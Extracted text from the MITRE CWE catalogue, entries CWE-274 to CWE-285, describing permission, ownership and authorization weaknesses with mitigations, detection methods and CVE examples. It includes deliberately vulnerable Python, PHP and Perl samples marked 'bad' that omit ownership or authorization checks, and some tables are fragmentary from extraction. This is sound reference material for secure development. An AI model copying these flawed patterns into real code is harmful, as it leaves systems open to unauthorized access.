The software does not handle or incorrectly handles when it has insufficient privileges to perform an operation, leading to resultant weaknesses.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|-----------|---|-----|---|------|
| ChildOf |  | 269 | Improper Privilege Management | 600 |
| ChildOf |  | 703 | Improper Check or Handling of Exceptional Conditions | 1394 |
| PeerOf |  | 271 | Privilege Dropping / Lowering Errors | 607 |
| CanAlsoBe |  | 280 | Improper Handling of Insufficient Permissions or Privileges | 625 |

Relevant to the view "Architectural Concepts" (CWE-1008)

| Nature | Type | ID | Name | Page |
|----------|---|------|------------------|------|
| MemberOf |  | 1011 | Authorize Actors | 2142 |

Relevant to the view "Software Development" (CWE-699)

| Other | Other Alter Execution Logic | |

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2001-1564 | System limits are not properly enforced after privileges are dropped. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1564 |
| CVE-2005-3286 | Firewall crashes when it can't read a critical memory block that was protected by a malicious process. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3286 |
| CVE-2005-1641 | Does not give admin sufficient privileges to overcome otherwise legitimate user actions. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1641 |

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name |  | Page |
|----------|---|-----|--------------------------------|---|------|
| MemberOf |  | 901 | SFP Primary Cluster: Privilege | 888 | 2103 |

Notes

Maintenance

CWE-280 and CWE-274 are too similar. It is likely that CWE-274 will be deprecated in the future.

Relationship

Overlaps dropped privileges, insufficient permissions.

Theoretical

This has a layering relationship with Unchecked Error Condition and Unchecked Return Value.

Theoretical

Within the context of vulnerability theory, privileges and permissions are two sides of the same coin. Privileges are associated with actors, and permissions are associated with resources. To perform access control, at some point the software makes a decision about whether the actor (and the privileges that have been assigned to that actor) is allowed to access the resource (based on the permissions that have been specified for that resource).

Taxonomy Mappings

| Mapped Taxonomy Name | Node ID | Fit | Mapped Node Name |
|----------------------|---------|-----|-------------------------|
| PLOVER | | | Insufficient privileges |

CWE-276: Incorrect Default Permissions

Weakness ID : 276

Status: Draft

Structure : Simple

Abstraction : Base

Description

During installation, installed file permissions are set to allow anyone to modify those files.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Inter-application Flow Analysis

Effectiveness = SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Host-based Vulnerability Scanners - Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Host Application Interface Scanner Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer Automated Monitored Execution Forced Path Execution

Effectiveness = High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Context-configured Source Code Weakness Analyzer

Effectiveness = SOAR Partial

Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Configuration Checker

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Phase: Operation

The architecture needs to access and modification attributes for files to only those users who actually require those actions.

Phase: Architecture and Design

Strategy = Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2005-1941 | Executables installed world-writable. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1941 |
| CVE-2002-1713 | Home directories installed world-readable. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1713 |
| CVE-2001-1550 | World-writable log files allow information loss; world-readable file has cleartext passwords. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1550 |
| CVE-2002-1711 | World-readable directory. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1711 |
| CVE-2002-1844 | Windows product uses insecure permissions when installing on Solaris (genesis: port error). https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1844 |
| CVE-2001-0497 | Insecure permissions for a shared secret key file. Overlaps cryptographic problem. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0497 |
| CVE-1999-0426 | Default permissions of a device allow IP spoofing. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0426 |

CWE-277: Insecure Inherited Permissions

| | |
|------------------------------|-----------------------|
| Weakness ID : 277 | Status : Draft |
| Structure : Simple | |
| Abstraction : Variant | |

Description

A product defines a set of insecure permissions that are inherited by objects that are created by the program.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|---|------|
| ChildOf |  | 732 | Incorrect Permission Assignment for Critical Resource | 1407 |

Relevant to the view "Architectural Concepts" (CWE-1008)

| MemberOf |  | 275 | Permission Issues | 2034 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|-------------------------|------------|
| Confidentiality | Read Application Data | |
| Integrity | Modify Application Data | |

Potential Mitigations

Phase: Architecture and Design

Phase: Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Phase: Architecture and Design

Strategy = Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2005-1841 | User's umask is used when creating temp files. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1841 |
| CVE-2002-1786 | Insecure umask for core dumps [is the umask preserved or assigned?]. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1786 |

CWE-278: Insecure Preserved Inherited Permissions

| | |
|------------------------------|----------------------------|
| Weakness ID : 278 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Variant | |

Description

A product inherits a set of insecure permissions for an object, e.g. when copying from an archive file, without user awareness or involvement.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-280: Improper Handling of Insufficient Permissions or Privileges

Weakness ID : 280

Status: Draft

Structure : Simple

Abstraction : Base

Description

The application does not handle or incorrectly handles when it has insufficient privileges to access resources or functionality as specified by their permissions. This may cause it to follow unexpected code paths that may leave the application in an invalid state.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

|----------|---|-----|-------------------|------|
| MemberOf |  | 265 | Privilege Issues | 2033 |
| MemberOf |  | 275 | Permission Issues | 2034 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-------|--------------------------------|------------|
| Other | Other Alter Execution Logic | |

Potential Mitigations

Phase: Architecture and Design

Strategy = Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

Phase: Implementation

Always check to see if you have successfully accessed a resource or system functionality, and use proper error handling if it is unsuccessful. Do this even when you are operating in a highly privileged mode, because errors or environmental conditions might still cause a failure. For example, environments with highly granular permissions/privilege models, such as Windows or Linux capabilities, can cause unexpected failures.

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2003-0501 | Special file system allows attackers to prevent ownership/permission change of certain entries by opening the entries before calling a setuid program. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0501 |
| CVE-2004-0148 | FTP server places a user in the root directory when the user's permissions prevent access to the their own home directory. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0148 |

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name |  | Page |
|----------|---|------|--|---|------|
| MemberOf |  | 962 | SFP Secondary Cluster: Unchecked Status Condition | 888 | 2116 |
| MemberOf |  | 1348 | OWASP Top Ten 2021 Category A04:2021 - Insecure Design | 1344 | 2207 |

Notes

Maintenance

CWE-280 and CWE-274 are too similar. It is likely that CWE-274 will be deprecated in the future.

Relationship

This can be both primary and resultant. When primary, it can expose a variety of weaknesses because a resource might not have the expected state, and subsequent operations might fail. It is often resultant from Unchecked Error Condition (CWE-391).

Theoretical

Within the context of vulnerability theory, privileges and permissions are two sides of the same coin. Privileges are associated with actors, and permissions are associated with resources. To perform access control, at some point the software makes a decision about whether the actor (and the privileges that have been assigned to that actor) is allowed to access the resource (based on the permissions that have been specified for that resource).

Research Gap

This type of issue is under-studied, since researchers often concentrate on whether an object has too many permissions, instead of not enough. These weaknesses are likely to appear in environments with fine-grained models for permissions and privileges, which can include operating systems and other large-scale software packages. However, even highly simplistic permission/privilege models are likely to contain these issues if the developer has not considered the possibility of access failure.

Taxonomy Mappings

| Mapped Taxonomy Name | Node ID | Fit | Mapped Node Name |
|-------------------------|---------|-----|--|
| PLOVER | | | Fails poorly due to insufficient permissions |
| WASC | 17 | | Improper Filesystem Permissions |
| Software Fault Patterns | SFP4 | | Unchecked Status Condition |

CWE-281: Improper Preservation of Permissions

Weakness ID : 281

Status: Draft

Structure : Simple

Abstraction : Base

Description

The software does not preserve permissions or incorrectly preserves permissions when copying, restoring, or sharing objects, which can cause them to have less restrictive permissions than intended.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-282: Improper Ownership Management

| | |
|----------------------------|----------------------|
| Weakness ID : 282 | Status: Draft |
| Structure : Simple | |
| Abstraction : Class | |

Description

The software assigns the wrong ownership, or does not properly verify the ownership, of an object or resource.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|----------|------|-----|--------------------------------|------|
| ChildOf | P | 284 | Improper Access Control | 631 |
| ParentOf | B | 283 | Unverified Ownership | 630 |
| ParentOf | B | 708 | Incorrect Ownership Assignment | 1403 |

Relevant to the view "Architectural Concepts" (CWE-1008)

| Nature | Type | ID | Name | Page |
|----------|------|------|------------------|------|
| MemberOf | C | 1011 | Authorize Actors | 2142 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|----------------|------------------------------------|------------|
| Access Control | Gain Privileges or Assume Identity | |

Potential Mitigations

Phase: Architecture and Design

Phase: Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-1999-1125 | Program runs setuid root but relies on a configuration file owned by a non-root user. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1125 |

Affected Resources

- File or Directory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | V | Page |
|----------|------|-----|--|-----|------|
| MemberOf | C | 944 | SFP Secondary Cluster: Access Management | 888 | 2110 |

Notes

Maintenance

The relationships between privileges, permissions, and actors (e.g. users and groups) need further refinement within the Research view. One complication is that these concepts apply to two different pillars, related to control of resources (CWE-664) and protection mechanism failures (CWE-693).

Taxonomy Mappings

| Mapped Taxonomy Name | Node ID | Fit | Mapped Node Name |

| 17 | Using Malicious Files |
| 35 | Leverage Executable Code in Non-Executable Files |

CWE-283: Unverified Ownership

Weakness ID : 283

Status: Draft

Structure : Simple

Abstraction : Base

Description

The software does not properly verify that a critical resource is owned by the proper entity.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|-------------------------------|------|
| ChildOf |  | 282 | Improper Ownership Management | 628 |

| Nature | Type | ID | Name | Page |
|----------|---|-----|-----------------------|------|
| MemberOf |  | 840 | Business Logic Errors | 2077 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|----------------|--|------------|
| Access Control | Gain Privileges or Assume Identity <i>An attacker could gain unauthorized access to system resources.</i> | |

Potential Mitigations

Phase: Architecture and Design

Phase: Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Phase: Architecture and Design

Strategy = Separation of Privilege

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

Demonstrative Examples

Example 1:

This function is part of a privileged program that takes input from users with potentially lower privileges.

Example Language: Python

(bad)

```
def killProcess(processID):  
    os.kill(processID, signal.SIGKILL)
```

This code does not confirm that the process to be killed is owned by the requesting user, thus allowing an attacker to kill arbitrary processes.

This function remedies the problem by checking the owner of the process before killing it:

Example Language: Python

(good)

```
def killProcess(processID):  
    user = getCurrentUser()  
    #Check process owner against requesting user  
    if getProcessOwner(processID) == user:  
        os.kill(processID, signal.SIGKILL)  
        return  
    else:  
        print("You cannot kill a process you don't own")  
        return
```

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2001-0178 | Program does not verify the owner of a UNIX socket that is used for sending a password. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0178 |
| CVE-2004-2012 | Owner of special device not checked, allowing root. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2012 |

|----------------------|---------|-----|----------------------|
| PLOVER | | | Unverified Ownership |

CWE-284: Improper Access Control

| | |
|-----------------------------|----------------------------|
| Weakness ID : 284 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Pillar | |

Description

The software does not restrict or incorrectly restricts access to a resource from an unauthorized actor.

Extended Description

Access control involves the use of several protection mechanisms such as:

- Authentication (proving the identity of an actor)
- Authorization (ensuring that a given actor can access a resource), and
- Accountability (tracking of activities that were performed)

When any mechanism is not applied or otherwise fails, attackers can compromise the security of the software by gaining privileges, reading sensitive information, executing commands, evading detection, etc.

There are two distinct behaviors that can introduce access control weaknesses:

- Specification: incorrect privileges, permissions, ownership, etc. are explicitly specified for either the user or the resource (for example, setting a password file to be world-writable, or giving administrator capabilities to a guest user). This action could be performed by the program or the administrator.
- Enforcement: the mechanism contains errors that prevent it from properly enforcing the specified access control requirements (e.g., allowing the user to specify their own privileges, or allowing a syntactically-incorrect ACL to produce insecure settings). This problem occurs within the program itself, in that it does not actually enforce the intended security policy that the administrator specifies.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Architectural Concepts" (CWE-1008)

| Nature | Type | ID | Name | Page |
|----------|---|------|------------------|------|
| MemberOf |  | 1011 | Authorize Actors | 2142 |

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

| Nature | Type | ID | Name | Page |
|----------|---|-----|--|------|
| ParentOf |  | 285 | Improper Authorization | 635 |
| ParentOf |  | 287 | Improper Authentication | 643 |
| ParentOf |  | 288 | Authentication Bypass Using an Alternate Path or Channel | 649 |
| ParentOf |  | 639 | Authorization Bypass Through User-Controlled Key | 1286 |

| Nature | Type | ID | Name | Page |
|----------|---|-----|-------------------------|------|
| ParentOf |  | 862 | Missing Authorization | 1615 |
| ParentOf |  | 863 | Incorrect Authorization | 1621 |

Alternate Terms

Authorization : The terms "access control" and "authorization" are often used interchangeably, although many people have distinct definitions. The CWE usage of "access control" is intended as a general term for the various mechanisms that restrict which users can access which resources, and "authorization" is more narrowly defined. It is unlikely that there will be community consensus on the use of these terms.

Common Consequences

| Scope | Impact | Likelihood |
|-------|-------------------|------------|
| Other | Varies by Context | |

Potential Mitigations

Phase: Architecture and Design

Phase: Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Phase: Architecture and Design

Strategy = Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2010-4624 | Bulletin board applies restrictions on number of images during post creation, but does not enforce this on editing. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4624 |

CWE-285: Improper Authorization

| | |
|----------------------------|-----------------------|
| Weakness ID : 285 | Status : Draft |
| Structure : Simple | |
| Abstraction : Class | |

Description

The software does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.

Extended Description

Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.

When access control checks are not applied consistently - or not at all - users are able to access data or perform actions that they should not be allowed to perform. This can lead to a wide range of problems, including information exposures, denial of service, and arbitrary code execution.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Technology : Web Server (*Prevalence = Often*)

Technology : Database Server (*Prevalence = Often*)

Background Details

An access control list (ACL) represents who/what has permissions to a given object. Different operating systems implement (ACLs) in different ways. In UNIX, there are three types of permissions: read, write, and execute. Users are divided into three classes for file access: owner, group owner, and all other users where each class has a separate set of rights. In Windows NT, there are four basic types of permissions for files: "No access", "Read access", "Change access", and "Full control". Windows NT extends the concept of three types of users in UNIX to include a list of users and groups along with their associated permissions. A user can create an object (file) and assign specified permissions to that object.

Alternate Terms

AuthZ : "AuthZ" is typically used as an abbreviation of "authorization" within the web application security community. It is distinct from "AuthN" (or, sometimes, "AuthC") which is an abbreviation of "authentication." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.

Likelihood Of Exploit

High

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|--|------------|
| Confidentiality | Read Application Data Read Files or Directories <i>An attacker could read sensitive data, either by reading the data directly from a data store that is not properly restricted, or by accessing insufficiently-protected, privileged functionality to read the data.</i> | |
| Integrity | Modify Application Data Modify Files or Directories <i>An attacker could modify sensitive data, either by writing the data directly to a data store that is not properly restricted, or by accessing insufficiently-protected, privileged functionality to write the data.</i> | |
| Access Control | Gain Privileges or Assume Identity <i>An attacker could gain privileges by modifying or reading critical data directly, or by accessing insufficiently-protected, privileged functionality.</i> | |

Detection Methods

Automated Static Analysis

Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries. Generally, automated static analysis tools have difficulty detecting custom authorization schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an authorization check; an automated technique that detects the absence of authorization may report false positives.

Effectiveness = Limited

Automated Dynamic Analysis

Automated dynamic analysis may find many or all possible interfaces that do not require authorization, but manual analysis is required to determine if the lack of authorization violates business logic

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.

Effectiveness = Moderate

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Host Application Interface Scanner Fuzz Tester Framework-based Fuzzer Forced Path Execution Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

Effectiveness = SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Context-configured Source Code Weakness Analyzer

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Divide the software into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.

Phase: Architecture and Design

Ensure that you perform access control checks related to your business logic. These checks may be different than the access control checks that you apply to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].

Phase: Architecture and Design

For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.

Phase: System Configuration

Phase: Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

Demonstrative Examples

Example 1:

This function runs an arbitrary SQL query on a given database, returning the result of the query.

Example Language: PHP

(bad)

```
function runEmployeeQuery($dbName, $name){
    mysql_select_db($dbName,$globalDbHandle) or die("Could not open Database".$dbName);
    //Use a prepared statement to avoid CWE-89
    $preparedStatement = $globalDbHandle->prepare('SELECT * FROM employees WHERE name = :name');
    $preparedStatement->execute(array(':name' => $name));
    return $preparedStatement->fetchAll();
}
/.../
$employeeRecord = runEmployeeQuery('EmployeeDB',$_GET['EmployeeName']);
```

While this code is careful to avoid SQL Injection, the function does not confirm the user sending the query is authorized to do so. An attacker may be able to obtain sensitive employee information from the database.

Example 2:

The following program could be part of a bulletin board system that allows users to send private messages to each other. This program intends to authenticate the user before deciding whether a private message should be displayed. Assume that `LookupMessageObject()` ensures that the `$id` argument is numeric, constructs a filename based on that id, and reads the message details from that file. Also assume that the program stores all private messages for all users in the same directory.

Example Language: Perl

(bad)

```
sub DisplayPrivateMessage {
    my($id) = @_;
    my $Message = LookupMessageObject($id);
    print "From: " . encodeHTML($Message->{from}) . "<br>\n";
    print "Subject: " . encodeHTML($Message->{subject}) . "\n";
    print "<hr>\n";
    print "Body: " . encodeHTML($Message->{body}) . "\n";
}
my $q = new CGI;
# For purposes of this example, assume that CWE-309 and
# CWE-523 do not apply.
if (! AuthenticateUser($q->param('username'), $q->param('password'))) {
```

```

    ExitError("invalid username or password");
}
my $id = $q->param('id');
DisplayPrivateMessage($id);

```

While the program properly exits if authentication fails, it does not ensure that the message is addressed to the user. As a result, an authenticated attacker could provide any arbitrary identifier and read private messages that were intended for other users.

One way to avoid this problem would be to ensure that the "to" field in the message object matches the username of the authenticated user.

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2009-3168 | Web application does not restrict access to admin scripts, allowing authenticated users to reset administrative passwords. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3168 |
| CVE-2009-2960 | Web application does not restrict access to admin scripts, allowing authenticated users to modify passwords of other users. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2960 |
| CVE-2009-3597 | Web application stores database file under the web root with insufficient access control (CWE-219), allowing direct request. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3597 |
| CVE-2009-2282 | Terminal server does not check authorization for guest access. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2282 |
| CVE-2009-3230 | Database server does not use appropriate privileges for certain sensitive operations. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3230 |
| CVE-2009-2213 | Gateway uses default "Allow" configuration for its authorization settings. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2213 |
| CVE-2009-0034 | Chain: product does not properly interpret a configuration option for a system group, allowing users to gain privileges. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0034 |
| CVE-2008-6123 | Chain: SNMP product does not properly parse a configuration option for which hosts are allowed to connect, allowing unauthorized IP addresses to connect. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-6123 |
| CVE-2008-5027 | System monitoring software allows users to bypass authorization by creating custom forms. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5027 |
| CVE-2008-7109 | Chain: reliance on client-side security (CWE-602) allows attackers to bypass authorization using a custom client. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-7109 |
| CVE-2008-3424 | Chain: product does not properly handle wildcards in an authorization policy list, allowing unintended access. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3424 |
| CVE-2009-3781 | Content management system does not check access permissions for private files, allowing others to view those files. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3781 |
| CVE-2008-4577 | ACL-based protection mechanism treats negative access rights as if they are positive, allowing bypass of intended restrictions. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4577 |
| CVE-2008-6548 | Product does not check the ACL of a page accessed using an "include" directive, allowing attackers to read unauthorized files. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-6548 |
| CVE-2007-2925 | Default ACL list for a DNS server does not set certain ACLs, allowing unauthorized DNS queries. |

| Reference | Description |
|----------------------|--|
| | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2925 |
| CVE-2006-6679 | Product relies on the X-Forwarded-For HTTP header for authorization, allowing unintended access by spoofing the header. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6679 |
| CVE-2005-3623 | OS kernel does not check for a certain privilege before setting ACLs for files. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3623 |
